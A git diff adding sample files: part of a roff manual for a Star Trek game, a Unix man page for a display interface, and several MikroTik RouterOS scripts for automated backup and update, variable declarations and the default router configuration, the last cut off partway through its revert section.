+The computer command gives you access to the facilities
+of the onboard computer,
+which allows you to do all sorts of fascinating stuff.
+Computer requests are:
+.in +8
+.qq
+score -- Shows your current score.
+.qq
+course quad/sect -- Computes the course and distance from wherever
+you are to the given location.
+If you type "course /x,y"
+you will be given the course
+to sector x,y in the current quadrant.
+.qq
+move quad/sect -- Identical to the course
+request,
+except that the move is executed.
+.qq
+chart -- prints a chart of the known galaxy,
+i.e.,
+everything that you have seen with a long range scan.
+The format is the same as on a long range scan,
+except that "..." means
+that you don't yet know what is there,
+and ".1." means that you know that a starbase
+exists, but you don't know anything else.
+"$$$" mans the quadrant
+that you are currently in.
+.qq
+trajectory -- prints the course and distance
+to all the Klingons in the quadrant.
+.qq
+warpcost dist warp_factor -- computes the cost in time and energy
+to move `dist' quadrants at warp `warp_factor'.
+.qq
+impcost dist -- same as warpcost for impulse engines.
+.qq
+pheff range -- tells how effective your phasers are
+at a given range.
+.qq
+distresslist -- gives a list of currently distressed
+starbases
+and starsystems.
+.in -8
+.pp
+More than one request may be stated
+on a line
+by separating them
+with semicolons.
+.bl "Dock at Starbase"
+Mnemonic: dock
+Shortest Abbreviation: do
+Consumes: nothing
+.FF
+.pp
+You may dock at a starbase
+when you are in one of the eight
+adjacent sectors.
+.pp
+When you dock you are resupplied
+with energy, photon torpedoes, and life support reserves.
+Repairs are also done faster at starbase.
+Any prisoners you have taken
+are unloaded.
+You do not receive points
+for taking prisoners
+until this time.
+.pp
+Starbases have their own deflector shields,
+so you are safe from attack while docked.
+.bl "Undock from Starbase"
+Mnemonic: undock
+Shortest Abbreviation: u
+Consumes: nothing
+.FF
+.pp
+This just allows you to leave starbase
+so that you may proceed on your way.
+.bl "Rest"
+Mnemonic: rest
+Shortest Abbreviation: r
+Full Command: rest time
+Consumes: time
+.FF
+.pp
+This command allows you to rest to repair damages.
+It is not advisable to rest while under attack.
+.bl "Call Starbase For Help"
+Mnemonic: help
+Shortest Abbreviation: help
+Consumes: nothing
+.FF
+.pp
+You may call starbase for help via your subspace radio.
+Starbase has long range transporter beams to get you.
+Problem is,
+they can't always rematerialize you.
+.pp
+You should avoid using this command unless absolutely necessary,
+for the above reason and because it counts heavily against you
+in the scoring.
+.bl "Capture Klingon"
+Mnemonic: capture
+Shortest Abbreviation: ca
+Consumes: time
+.FF
+.pp
+You may request that a Klingon surrender
+to you.
+If he accepts,
+you get to take captives
+(but only as many as your brig
+can hold).
+It is good if you do this,
+because you get points for captives.
+Also,
+if you ever get captured,
+you want to be sure that the Federation
+has prisoners to exchange for you.
+.pp
+You must go to a starbase
+to turn over your prisoners
+to Federation authorities.
+.bl "Visual Scan"
+Mnemonic: visual
+Shortest Abbreviation: v
+Full Command: visual course
+Consumes: time
+.FF
+.pp
+When your short range scanners are out,
+you can still see what is out "there"
+by doing a visual scan.
+Unfortunately,
+you can only see three sectors at one time,
+and it takes 0.005 stardates to perform.
+.pp
+The three sectors in the general direction
+of the course specified
+are examined
+and displayed.
+.bl "Abandon Ship"
+Mnemonic: abandon
+Shortest Abbreviation: abandon
+Consumes: nothing
+.FF
+.pp
+The officers escape the Enterprise in the shuttlecraft.
+If the transporter is working
+and there is an inhabitable starsystem
+in the area,
+the crew beams down,
+otherwise you leave them to die.
+You are given an old but still usable ship,
+the Faire Queene.
+.bl "Ram"
+Mnemonic: ram
+Shortest Abbreviation: ram
+Full Command: ram course distance
+Consumes: time and energy
+.FF
+.pp
+This command is identical to "move",
+except that the computer
+doesn't stop you
+from making navigation errors.
+.pp
+You get very nearly slaughtered
+if you ram anything.
+.bl "Self Destruct"
+Mnemonic: destruct
+Shortest Abbreviation: destruct
+Consumes: everything
+.FF
+.pp
+Your starship is self-destructed.
+Chances are you will destroy
+any Klingons
+(and stars,
+and starbases)
+left in your quadrant.
+.bl "Terminate the Game"
+Mnemonic: terminate
+Shortest Abbreviation: terminate
+Full Command: terminate yes/no
+.FF
+.pp
+Cancels the current game.
+No score is computed.
+If you answer yes,
+a new game will be started,
+otherwise trek exits.
+.bl "Call the Shell"
+Mnemonic: shell
+Shortest Abbreviation: shell
+.FF
+.pp
+Temporarily escapes to the shell.
+When you log out of the shell
+you will return to the game.
+.bp
+.ce
+SCORING
+.in +4
+.pp
+The scoring algorithm is rather complicated.
+Basically,
+you get points for each Klingon you kill,
+for your Klingon per stardate kill rate,
+and a bonus if you win the game.
+You lose
+points for the number of Klingons left
+in the galaxy
+at the end of the game,
+for getting killed,
+for each star, starbase, or inhabited starsystem
+you destroy,
+for calling for help,
+and for each casualty you incur.
+.pp
+You will be promoted
+if you play very well.
+You will never get a promotion if you
+call for help,
+abandon the Enterprise,
+get killed,
+destroy a starbase or inhabited starsystem,
+or destroy too many stars.
+.bp
+.ce
+REFERENCE PAGE
+.sp 2
+.ta 36 56
+.nf
+.ul
+Command	Uses	Consumes
+
+ABANDON	shuttlecraft,	-
+	  transporter
+CApture	subspace radio	time
+CLoak Up/Down	cloaking device	energy
+Computer request; request;...	computer	-
+DAmages	-	-
+DESTRUCT	computer	-
+DOck	-	-
+HELP	subspace radio	-
+Impulse course distance	impulse engines,	time, energy
+	 computer, SINS
+Lrscan	L.R. sensors	-
+Move course distance	warp engines,	time, energy
+	  computer, SINS
+Phasers Automatic amount	phasers, computer	energy
+Phasers Manual amt1 course1 spread1 ...	phasers	energy
+Torpedo course [Yes] angle/No	torpedo tubes	torpedoes
+RAM course distance	warp engines,	time, energy
+	  computer, SINS
+Rest time	-	time
+SHELL	-	-
+SHields Up/Down	shields	energy
+Srscan [Yes/No]	S.R. sensors	-
+STatus	-	-
+TERMINATE Yes/No	-	-
+Undock	-	-
+Visual course	-	time
+Warp warp_factor	-	-
+.fi
diff --git a/samples/Roff/vt.3x b/samples/Roff/vt.3x
new file mode 100644
index 0000000000..3770ff4830
--- /dev/null
+++ b/samples/Roff/vt.3x
@@ -0,0 +1,37 @@
+.th VT III 6/4/73
+.sh NAME
+vt \*- display (vt01) interface
+.sh SYNOPSIS
+.nf
+.ft B
+openvt()
+.s3
+erase()
+.s3
+label(s)
+char s[ ];
+.s3
+line(x,y)
+.s3
+circle(x,y,r)
+.s3
+arc(x,y,x0,y0,x1,y1)
+.s3
+dot(x,y,dx,n,pattern)
+int pattern[ ];
+.s3
+move(x,y)
+.fi
+.s3
+.ft R
+.sh DESCRIPTION
+C interface routines to perform similarly named functions
+described in vt(IV).
+.it Openvt
+must be used before any of the others to open the
+storage scope for writing.
+.sh FILES
+/dev/vt0, found in /lib/libp.a
+.sh "SEE ALSO"
+vt (IV)
+.sh BUGS
diff --git a/samples/RouterOS Script/BackupAndUpdate.rsc b/samples/RouterOS Script/BackupAndUpdate.rsc
new file mode 100644
index 0000000000..f17796ce09
--- /dev/null
+++ b/samples/RouterOS Script/BackupAndUpdate.rsc	
@@ -0,0 +1,409 @@
+# Script name: BackupAndUpdate
+#
+#----------SCRIPT INFORMATION---------------------------------------------------
+#
+# Script:  Mikrotik RouterOS automatic backup & update
+# Version: 22.01.17
+# Created: 07/08/2018
+# Updated: 17/01/2022
+# Author:  Alexander Tebiev
+# Website: https://github.com/beeyev
+# You can contact me by e-mail at tebiev@mail.com
+#
+# IMPORTANT!
+# Minimum supported RouterOS version is v6.43.7
+#
+#----------MODIFY THIS SECTION AS NEEDED----------------------------------------
+## Notification e-mail
+## (Make sure you have configurated Email settings in Tools -> Email)
+:local emailAddress "yourmail@example.com";
+
+## Script mode, possible values: backup, osupdate, osnotify.
+# backup 	- 	Only backup will be performed. (default value, if none provided)
+#
+# osupdate 	- 	The Script will install a new RouterOS if it is available.
+#				It will also create backups before and after update process (does not matter what value is set to `forceBackup`)
+#				Email will be sent only if a new RouterOS version is available.
+#				Change parameter `forceBackup` if you need the script to create backups every time when it runs (even when no updates were found).
+#
+# osnotify 	- 	The script will send email notification only (without backups) if a new RouterOS is available.
+#				Change parameter `forceBackup` if you need the script to create backups every time when it runs.
+:local scriptMode "osupdate";
+
+## Additional parameter if you set `scriptMode` to `osupdate` or `osnotify`
+# Set `true` if you want the script to perform backup every time it's fired, whatever script mode is set.
+:local forceBackup false;
+
+## Backup encryption password, no encryption if no password.
+:local backupPassword ""
+
+## If true, passwords will be included in exported config.
+:local sensetiveDataInConfig true;
+
+## Update channel. Possible values: stable, long-term, testing, development
+:local updateChannel "stable";
+
+## Install only patch versions of RouterOS updates.
+## Works only if you set scriptMode to "osupdate"
+## Means that new update will be installed only if MAJOR and MINOR version numbers remained the same as currently installed RouterOS.
+## Example: v6.43.6 => major.minor.PATCH
+## Script will send information if new version is greater than just patch.
+:local installOnlyPatchUpdates	false;
+
+##------------------------------------------------------------------------------------------##
+#  !!!! DO NOT CHANGE ANYTHING BELOW THIS LINE, IF YOU ARE NOT SURE WHAT YOU ARE DOING !!!!  #
+##------------------------------------------------------------------------------------------##
+
+#Script messages prefix
+:local SMP "Bkp&Upd:"
+
+:log info "\r\n$SMP script \"Mikrotik RouterOS automatic backup & update\" started.";
+:log info "$SMP Script Mode: $scriptMode, forceBackup: $forceBackup";
+
+#Check proper email config
+:if ([:len $emailAddress] = 0 or [:len [/tool e-mail get address]] = 0 or [:len [/tool e-mail get from]] = 0) do={
+	:log error ("$SMP Email configuration is not correct, please check Tools -> Email. Script stopped.");   
+	:error "$SMP bye!";
+}
+
+#Check if proper identity name is set
+if ([:len [/system identity get name]] = 0 or [/system identity get name] = "MikroTik") do={
+	:log warning ("$SMP Please set identity name of your device (System -> Identity), keep it short and informative.");  
+};
+
+############### vvvvvvvvv GLOBALS vvvvvvvvv ###############
+# Function converts standard mikrotik build versions to the number.
+# Possible arguments: paramOsVer
+# Example:
+# :put [$buGlobalFuncGetOsVerNum paramOsVer=[/system routerboard get current-RouterOS]];
+# result will be: 64301, because current RouterOS version is: 6.43.1
+:global buGlobalFuncGetOsVerNum do={
+	:local osVer $paramOsVer;
+	:local osVerNum;
+	:local osVerMicroPart;
+	:local zro 0;
+	:local tmp;
+	
+	# Replace word `beta` with dot
+	:local isBetaPos [:tonum [:find $osVer "beta" 0]];
+	:if ($isBetaPos > 1) do={
+		:set osVer ([:pick $osVer 0 $isBetaPos] . "." . [:pick $osVer ($isBetaPos + 4) [:len $osVer]]);
+	}
+	# Replace word `rc` with dot
+	:local isRcPos [:tonum [:find $osVer "rc" 0]];
+	:if ($isRcPos > 1) do={
+		:set osVer ([:pick $osVer 0 $isRcPos] . "." . [:pick $osVer ($isRcPos + 2) [:len $osVer]]);
+	}
+	
+	:local dotPos1 [:find $osVer "." 0];
+
+	:if ($dotPos1 > 0) do={ 
+
+		# AA
+		:set osVerNum  [:pick $osVer 0 $dotPos1];
+		
+		:local dotPos2 [:find $osVer "." $dotPos1];
+				#Taking minor version, everything after first dot
+		:if ([:len $dotPos2] = 0) 	do={:set tmp [:pick $osVer ($dotPos1+1) [:len $osVer]];}
+		#Taking minor version, everything between first and second dots
+		:if ($dotPos2 > 0) 			do={:set tmp [:pick $osVer ($dotPos1+1) $dotPos2];}
+		
+		# AA 0B
+		:if ([:len $tmp] = 1) 	do={:set osVerNum "$osVerNum$zro$tmp";}
+		# AA BB
+		:if ([:len $tmp] = 2) 	do={:set osVerNum "$osVerNum$tmp";}
+		
+		:if ($dotPos2 > 0) do={ 
+			:set tmp [:pick $osVer ($dotPos2+1) [:len $osVer]];
+			# AA BB 0C
+			:if ([:len $tmp] = 1) do={:set osVerNum "$osVerNum$zro$tmp";}
+			# AA BB CC
+			:if ([:len $tmp] = 2) do={:set osVerNum "$osVerNum$tmp";}
+		} else={
+			# AA BB 00
+			:set osVerNum "$osVerNum$zro$zro";
+		}
+	} else={
+		# AA 00 00
+		:set osVerNum "$osVer$zro$zro$zro$zro";
+	}
+
+	:return $osVerNum;
+}
+
+
+# Function creates backups (system and config) and returns array with names
+# Possible arguments: 
+#	`backupName` 			| string	| backup file name, without extension!
+#	`backupPassword`		| string 	|
+#	`sensetiveDataInConfig`	| boolean 	|
+# Example:
+# :put [$buGlobalFuncCreateBackups name="daily-backup"];
+:global buGlobalFuncCreateBackups do={
+	:log info ("$SMP Global function \"buGlobalFuncCreateBackups\" was fired.");  
+	
+	:local backupFileSys "$backupName.backup";
+	:local backupFileConfig "$backupName.rsc";
+	:local backupNames {$backupFileSys;$backupFileConfig};
+
+	## Make system backup
+	:if ([:len $backupPassword] = 0) do={
+		/system backup save dont-encrypt=yes name=$backupName;
+	} else={
+		/system backup save password=$backupPassword name=$backupName;
+	}
+	:log info ("$SMP System backup created. $backupFileSys");   
+
+	## Export config file
+	:if ($sensetiveDataInConfig = true) do={
+		# since RouterOS v7 it needs to be set precise that we want to export sensitive data
+		:if ([:pick [/system package update get installed-version] 0 1] < 7) do={
+			:execute "/export compact terse file=$backupName";
+		} else={
+			:execute "/export compact show-sensitive terse file=$backupName";
+		}
+	} else={
+		/export compact hide-sensitive terse file=$backupName;
+	}
+	:log info ("$SMP Config file was exported. $backupFileConfig, the script execution will be paused for a moment.");   
+
+	#Delay after creating backups
+	:delay 20s;	
+	:return $backupNames;
+}
+
+:global buGlobalVarUpdateStep;
+############### ^^^^^^^^^ GLOBALS ^^^^^^^^^ ###############
+
+:local scriptVersion	"22.01.17";
+
+#Current date time in format: 2020jan15-221324 
+:local dateTime ([:pick [/system clock get date] 7 11] . [:pick [/system clock get date] 0 3] . [:pick [/system clock get date] 4 6] . "-" . [:pick [/system clock get time] 0 2] . [:pick [/system clock get time] 3 5] . [:pick [/system clock get time] 6 8]);
+
+:local deviceOsVerInst 			[/system package update get installed-version];
+:local deviceOsVerInstNum 		[$buGlobalFuncGetOsVerNum paramOsVer=$deviceOsVerInst];
+:local deviceOsVerAvail 		"";
+:local deviceOsVerAvailNum 		0;
+:local deviceRbModel			[/system routerboard get model];
+:local deviceRbSerialNumber 	[/system routerboard get serial-number];
+:local deviceRbCurrentFw 		[/system routerboard get current-firmware];
+:local deviceRbUpgradeFw 		[/system routerboard get upgrade-firmware];
+:local deviceIdentityName 		[/system identity get name];
+:local deviceIdentityNameShort 	[:pick $deviceIdentityName 0 18]
+:local deviceUpdateChannel 		[/system package update get channel];
+
+:local isOsUpdateAvailable 	false;
+:local isOsNeedsToBeUpdated	false;
+
+:local isSendEmailRequired	true;
+
+:local mailSubject   		"$SMP Device - $deviceIdentityNameShort.";
+:local mailBody 	 		"";
+
+:local mailBodyDeviceInfo	"\r\n\r\nDevice information: \r\nIdentity: $deviceIdentityName \r\nModel: $deviceRbModel \r\nSerial number: $deviceRbSerialNumber \r\nCurrent RouterOS: $deviceOsVerInst ($[/system package update get channel]) $[/system resource get build-time] \r\nCurrent routerboard FW: $deviceRbCurrentFw \r\nDevice uptime: $[/system resource get uptime]";
+:local mailBodyCopyright 	"\r\n\r\nMikrotik RouterOS automatic backup & update (ver. $scriptVersion) \r\nhttps://github.com/beeyev/Mikrotik-RouterOS-automatic-backup-and-update";
+:local changelogUrl			("Check RouterOS changelog: https://mikrotik.com/download/changelogs/" . $updateChannel . "-release-tree");
+
+:local backupName 			"$deviceIdentityName.$deviceRbModel.$deviceRbSerialNumber.v$deviceOsVerInst.$deviceUpdateChannel.$dateTime";
+:local backupNameBeforeUpd	"backup_before_update_$backupName";
+:local backupNameAfterUpd	"backup_after_update_$backupName";
+
+:local backupNameFinal		$backupName;
+:local mailAttachments		[:toarray ""];
+
+
+:local updateStep $buGlobalVarUpdateStep;
+:do {/system script environment remove buGlobalVarUpdateStep;} on-error={}
+:if ([:len $updateStep] = 0) do={
+	:set updateStep 1;
+}
+
+
+## 	STEP ONE: Creating backups, checking for new RouterOs version and sending email with backups,
+## 	steps 2 and 3 are fired only if script is set to automatically update device and if new RouterOs is available.
+:if ($updateStep = 1) do={
+	:log info ("$SMP Performing the first step.");   
+
+	# Checking for new RouterOS version
+	if ($scriptMode = "osupdate" or $scriptMode = "osnotify") do={
+		log info ("$SMP Checking for new RouterOS version. Current version is: $deviceOsVerInst");
+		/system package update set channel=$updateChannel;
+		/system package update check-for-updates;
+		:delay 5s;
+		:set deviceOsVerAvail [/system package update get latest-version];
+
+		# If there is a problem getting information about available RouterOS from server
+		:if ([:len $deviceOsVerAvail] = 0) do={
+			:log warning ("$SMP There is a problem getting information about new RouterOS from server.");
+			:set mailSubject	($mailSubject . " Error: No data about new RouterOS!")
+			:set mailBody 		($mailBody . "Error occured! \r\nMikrotik couldn't get any information about new RouterOS from server! \r\nWatch additional information in device logs.")
+		} else={
+			#Get numeric version of OS
+			:set deviceOsVerAvailNum [$buGlobalFuncGetOsVerNum paramOsVer=$deviceOsVerAvail];
+
+			# Checking if OS on server is greater than installed one.
+			:if ($deviceOsVerAvailNum > $deviceOsVerInstNum) do={
+				:set isOsUpdateAvailable true;
+				:log info ("$SMP New RouterOS is available! $deviceOsVerAvail");
+			} else={
+				:set isSendEmailRequired false;
+				:log info ("$SMP System is already up to date.");
+				:set mailSubject ($mailSubject . " No new OS updates.");
+				:set mailBody 	 ($mailBody . "Your system is up to date.");
+			}
+		};
+	} else={
+		:set scriptMode "backup";
+	};
+
+	if ($forceBackup = true) do={
+		# In this case the script will always send email, because it has to create backups
+		:set isSendEmailRequired true;
+	}
+
+	# if new OS version is available to install
+	if ($isOsUpdateAvailable = true and $isSendEmailRequired = true) do={
+		# If we only need to notify about new available version
+		if ($scriptMode = "osnotify") do={
+			:set mailSubject 	($mailSubject . " New RouterOS is available! v.$deviceOsVerAvail.")
+			:set mailBody 		($mailBody . "New RouterOS version is available to install: v.$deviceOsVerAvail ($updateChannel) \r\n$changelogUrl")
+		}
+
+		# if we need to initiate RouterOs update process
+		if ($scriptMode = "osupdate") do={
+			:set isOsNeedsToBeUpdated true;
+			# if we need to install only patch updates
+			:if ($installOnlyPatchUpdates = true) do={
+				#Check if Major and Minor builds are the same.
+				:if ([:pick $deviceOsVerInstNum 0 ([:len $deviceOsVerInstNum]-2)] = [:pick $deviceOsVerAvailNum 0 ([:len $deviceOsVerAvailNum]-2)]) do={
+					:log info ("$SMP New patch version of RouterOS firmware is available.");   
+				} else={
+					:log info ("$SMP New major or minor version of RouterOS firmware is available. You need to update it manually.");
+					:set mailSubject 	($mailSubject . " New RouterOS: v.$deviceOsVerAvail needs to be installed manually.");
+					:set mailBody 		($mailBody . "New major or minor RouterOS version is available to install: v.$deviceOsVerAvail ($updateChannel). \r\nYou chose to automatically install only patch updates, so this major update you need to install manually. \r\n$changelogUrl");
+					:set isOsNeedsToBeUpdated false;
+				}
+			}
+
+			#Check again, because this variable could be changed during checking for installing only patch updats
+			if ($isOsNeedsToBeUpdated = true) do={
+				:log info ("$SMP New RouterOS is going to be installed! v.$deviceOsVerInst -> v.$deviceOsVerAvail");
+				:set mailSubject	($mailSubject . " New RouterOS is going to be installed! v.$deviceOsVerInst -> v.$deviceOsVerAvail.");
+				:set mailBody 		($mailBody . "Your Mikrotik will be updated to the new RouterOS version from v.$deviceOsVerInst to v.$deviceOsVerAvail (Update channel: $updateChannel) \r\nFinal report with the detailed information will be sent when update process is completed. \r\nIf you have not received second email in the next 5 minutes, then probably something went wrong. (Check your device logs)");
+				#!! There is more code connected to this part and first step at the end of the script.
+			}
+		
+		}
+	}
+
+	## Checking If the script needs to create a backup
+	:log info ("$SMP Checking If the script needs to create a backup.");
+	if ($forceBackup = true or $scriptMode = "backup" or $isOsNeedsToBeUpdated = true) do={
+		:log info ("$SMP Creating system backups.");
+		if ($isOsNeedsToBeUpdated = true) do={
+			:set backupNameFinal $backupNameBeforeUpd;
+		};
+		if ($scriptMode != "backup") do={
+			:set mailBody ($mailBody . "\r\n\r\n");
+		};
+
+		:set mailSubject	($mailSubject . " Backup was created.");
+		:set mailBody		($mailBody . "System backups were created and attached to this email.");
+
+		:set mailAttachments [$buGlobalFuncCreateBackups backupName=$backupNameFinal backupPassword=$backupPassword sensetiveDataInConfig=$sensetiveDataInConfig];
+	} else={
+		:log info ("$SMP There is no need to create a backup.");
+	}
+
+	# Combine fisrst step email
+	:set mailBody ($mailBody . $mailBodyDeviceInfo . $mailBodyCopyright);
+}
+
+## 	STEP TWO: (after first reboot) routerboard firmware upgrade
+## 	steps 2 and 3 are fired only if script is set to automatically update device and if new RouterOs is available.
+:if ($updateStep = 2) do={
+	:log info ("$SMP Performing the second step.");   
+	## RouterOS is the latest, let's check for upgraded routerboard firmware
+	if ($deviceRbCurrentFw != $deviceRbUpgradeFw) do={
+		:set isSendEmailRequired false;
+		:delay 10s;
+		:log info "$SMP Upgrading routerboard firmware from v.$deviceRbCurrentFw to v.$deviceRbUpgradeFw";
+		## Start the upgrading process
+		/system routerboard upgrade;
+		## Wait until the upgrade is completed
+		:delay 5s;
+		:log info "$SMP routerboard upgrade process was completed, going to reboot in a moment!";
+		## Set scheduled task to send final report on the next boot, task will be deleted when is is done. (That is why you should keep original script name)
+		/system schedule add name=BKPUPD-FINAL-REPORT-ON-NEXT-BOOT on-event=":delay 5s; /system scheduler remove BKPUPD-FINAL-REPORT-ON-NEXT-BOOT; :global buGlobalVarUpdateStep 3; :delay 10s; /system script run BackupAndUpdate;" start-time=startup interval=0;
+		## Reboot system to boot with new firmware
+		/system reboot;
+	} else={
+		:log info "$SMP It appers that your routerboard is already up to date, skipping this step.";
+		:set updateStep 3;
+	};
+}
+
+## 	STEP THREE: Last step (after second reboot) sending final report
+## 	steps 2 and 3 are fired only if script is set to automatically update device and if new RouterOs is available.
+:if ($updateStep = 3) do={
+	:log info ("$SMP Performing the third step.");   
+	:log info "Bkp&Upd: RouterOS and routerboard upgrade process was completed. New RouterOS version: v.$deviceOsVerInst, routerboard firmware: v.$deviceRbCurrentFw.";
+	## Small delay in case mikrotik needs some time to initialize connections
+	:log info "$SMP The final email with report and backups of upgraded system will be sent in a minute.";
+	:delay 1m;
+	:set mailSubject	($mailSubject . " RouterOS Upgrade is completed, new version: v.$deviceOsVerInst!");
+	:set mailBody 	  	"RouterOS and routerboard upgrade process was completed. \r\nNew RouterOS version: v.$deviceOsVerInst, routerboard firmware: v.$deviceRbCurrentFw. \r\n$changelogUrl \r\n\r\nBackups of the upgraded system are in the attachment of this email.  $mailBodyDeviceInfo $mailBodyCopyright";
+	:set mailAttachments [$buGlobalFuncCreateBackups backupName=$backupNameAfterUpd backupPassword=$backupPassword sensetiveDataInConfig=$sensetiveDataInConfig];
+}
+
+# Remove functions from global environment to keep it fresh and clean.
+:do {/system script environment remove buGlobalFuncGetOsVerNum;} on-error={}
+:do {/system script environment remove buGlobalFuncCreateBackups;} on-error={}
+
+##
+## SENDING EMAIL
+##
+# Trying to send email with backups in attachment.
+
+:if ($isSendEmailRequired = true) do={
+	:log info "$SMP Sending email message, it will take around half a minute...";
+	:do {/tool e-mail send to=$emailAddress subject=$mailSubject body=$mailBody file=$mailAttachments;} on-error={
+		:delay 5s;
+		:log error "$SMP could not send email message ($[/tool e-mail get last-status]). Going to try it again in a while."
+
+		:delay 5m;
+
+		:do {/tool e-mail send to=$emailAddress subject=$mailSubject body=$mailBody file=$mailAttachments;} on-error={
+			:delay 5s;
+			:log error "$SMP could not send email message ($[/tool e-mail get last-status]) for the second time."
+
+			if ($isOsNeedsToBeUpdated = true) do={
+				:set isOsNeedsToBeUpdated false;
+				:log warning "$SMP script is not going to initialise update process due to inability to send backups to email."
+			}
+		}
+	}
+
+	:delay 30s;
+	
+	:if ([:len $mailAttachments] > 0 and [/tool e-mail get last-status] = "succeeded") do={
+		:log info "$SMP File system cleanup."
+		/file remove $mailAttachments; 
+		:delay 2s;
+	}
+	
+}
+
+
+# Fire RouterOs update process
+if ($isOsNeedsToBeUpdated = true) do={
+
+	## Set scheduled task to upgrade routerboard firmware on the next boot, task will be deleted when upgrade is done. (That is why you should keep original script name)
+	/system schedule add name=BKPUPD-UPGRADE-ON-NEXT-BOOT on-event=":delay 5s; /system scheduler remove BKPUPD-UPGRADE-ON-NEXT-BOOT; :global buGlobalVarUpdateStep 2; :delay 10s; /system script run BackupAndUpdate;" start-time=startup interval=0;
+   
+   :log info "$SMP everything is ready to install new RouterOS, going to reboot in a moment!"
+	## command is reincarnation of the "upgrade" command - doing exactly the same but under a different name
+	/system package update install;
+}
+
+:log info "$SMP script \"Mikrotik RouterOS automatic backup & update\" completed it's job.\r\n";
\ No newline at end of file
diff --git a/samples/RouterOS Script/config.rsc b/samples/RouterOS Script/config.rsc
new file mode 100644
index 0000000000..0be3f767d6
--- /dev/null
+++ b/samples/RouterOS Script/config.rsc	
@@ -0,0 +1,20 @@
+# Author: @zachstence
+# Date: 6/20/2022
+
+:global StringVariable "StringVariable";
+
+:local NumberVariable "NumberVariable";
+
+:global ArrayVariable { 0; 1; 2; 3 };
+
+:local ObjectVariable { "something"="value" };
+
+:global ArrayOfObjects { \
+    { "a"=1 ; "b"=2   }; \
+    { "a"=3 ; "b"=4   }; \
+    { "a"=5 ; "b"=6   }; \
+    { "a"=7 ; "b"=8   }
+};
+
+:put "Loaded config:"
+:environment print;
diff --git a/samples/RouterOS Script/console-dump.rsc b/samples/RouterOS Script/console-dump.rsc
new file mode 100644
index 0000000000..794554b006
--- /dev/null
+++ b/samples/RouterOS Script/console-dump.rsc	
@@ -0,0 +1,347 @@
+# jun/19/2022 23:33:22 by RouterOS 6.49.6
+# software id = 9ASF-9GB5
+#
+                script: #| Welcome to RouterOS!
+                        #|    1) Set a strong router password in the System > Users menu
+                        #|    2) Upgrade the software in the System > Packages menu
+                        #|    3) Enable firewall on untrusted networks
+                        #| -----------------------------------------------------------------------------
+                        #| RouterMode:
+                        #|  * WAN port is protected by firewall and enabled DHCP client
+                        #|  * Ethernet interfaces (except WAN port/s) are part of LAN bridge
+                        #| LAN Configuration:
+                        #|     IP address 192.168.88.1/24 is set on bridge (LAN port)
+                        #|     DHCP Server: enabled;
+                        #|     DNS: enabled;
+                        #| WAN (gateway) Configuration:
+                        #|     gateway:  ether1 ;
+                        #|     ip4 firewall:  enabled;
+                        #|     NAT:   enabled;
+                        #|     DHCP Client: enabled;
+                        #| Login
+                        #|     admin user protected by password
+                        
+                        :global defconfMode;
+                        :log info "Starting defconf script";
+                        #-------------------------------------------------------------------------------
+                        # Apply configuration.
+                        # these commands are executed after installation or configuration reset
+                        #-------------------------------------------------------------------------------
+                        :if ($action = "apply") do={
+                          # wait for interfaces
+                          :local count 0;
+                          :while ([/interface ethernet find] = "") do={
+                            :if ($count = 30) do={
+                              :log warning "DefConf: Unable to find ethernet interfaces";
+                              /quit;
+                            }
+                            :delay 1s; :set count ($count +1); 
+                          };
+                         /interface list add name=WAN comment="defconf"
+                         /interface list add name=LAN comment="defconf"
+                         /interface bridge
+                           add name=bridge disabled=no auto-mac=yes protocol-mode=rstp comment=defconf;
+                         :local bMACIsSet 0;
+                         :foreach k in=[/interface find where !(slave=yes   || name="ether1" || name~"bridge")] do={
+                           :local tmpPortName [/interface get $k name];
+                           :if ($bMACIsSet = 0) do={
+                             :if ([/interface get $k type] = "ether") do={
+                               /interface bridge set "bridge" auto-mac=no admin-mac=[/interface get $tmpPortName mac-address];
+                               :set bMACIsSet 1;
+                             }
+                           }
+                             :if (([/interface get $k type] != "ppp-out") && ([/interface get $k type] != "lte")) do={
+                               /interface bridge port
+                                 add bridge=bridge interface=$tmpPortName comment=defconf;
+                             }
+                           }
+                           /ip pool add name="default-dhcp" ranges=192.168.88.10-192.168.88.254;
+                           /ip dhcp-server
+                             add name=defconf address-pool="default-dhcp" interface=bridge lease-time=10m disabled=no;
+                           /ip dhcp-server network
+                             add address=192.168.88.0/24 gateway=192.168.88.1 dns-server=192.168.88.1 comment="defconf";
+                          /ip address add address=192.168.88.1/24 interface=bridge comment="defconf";
+                         /ip dns {
+                             set allow-remote-requests=yes
+                             static add name=router.lan address=192.168.88.1 comment=defconf
+                         }
+                        
+                           /ip dhcp-client add interface=ether1 disabled=no comment="defconf";
+                         /interface list member add list=LAN interface=bridge comment="defconf"
+                         /interface list member add list=WAN interface=ether1 comment="defconf"
+                         /ip firewall nat add chain=srcnat out-interface-list=WAN ipsec-policy=out,none action=masquerade comment="defconf: masquerade"
+                         /ip firewall {
+                           filter add chain=input action=accept connection-state=established,related,untracked comment="defconf: accept established,related,untracked"
+                           filter add chain=input action=drop connection-state=invalid comment="defconf: drop invalid"
+                           filter add chain=input action=accept protocol=icmp comment="defconf: accept ICMP"
+                           filter add chain=input action=accept dst-address=127.0.0.1 comment="defconf: accept to local loopback (for CAPsMAN)"
+                           filter add chain=input action=drop in-interface-list=!LAN comment="defconf: drop all not coming from LAN"
+                           filter add chain=forward action=accept ipsec-policy=in,ipsec comment="defconf: accept in ipsec policy"
+                           filter add chain=forward action=accept ipsec-policy=out,ipsec comment="defconf: accept out ipsec policy"
+                           filter add chain=forward action=fasttrack-connection connection-state=established,related comment="defconf: fasttrack"
+                           filter add chain=forward action=accept connection-state=established,related,untracked comment="defconf: accept established,related, untracked"
+                           filter add chain=forward action=drop connection-state=invalid comment="defconf: drop invalid"
+                           filter add chain=forward action=drop connection-state=new connection-nat-state=!dstnat in-interface-list=WAN comment="defconf: drop all from WAN not DSTNATed"
+                         }
+                           /ip neighbor discovery-settings set discover-interface-list=LAN
+                           /tool mac-server set allowed-interface-list=LAN
+                           /tool mac-server mac-winbox set allowed-interface-list=LAN
+                         :if (!($defconfPassword = "" || $defconfPassword = nil)) do={
+                           /user set admin password=$defconfPassword
+                         }
+                        }
+                        #-------------------------------------------------------------------------------
+                        # Revert configuration.
+                        # these commands are executed if user requests to remove default configuration
+                        #-------------------------------------------------------------------------------
+                        :if ($action = "revert") do={
+                        /user set admin password=""
+                         /system routerboard mode-button set enabled=no
+                         /system routerboard mode-button set on-event=""
+                         /system script remove [find comment~"defconf"]
+                         /ip firewall filter remove [find comment~"defconf"]
+                         /ip firewall nat remove [find comment~"defconf"]
+                         /interface list member remove [find comment~"defconf"]
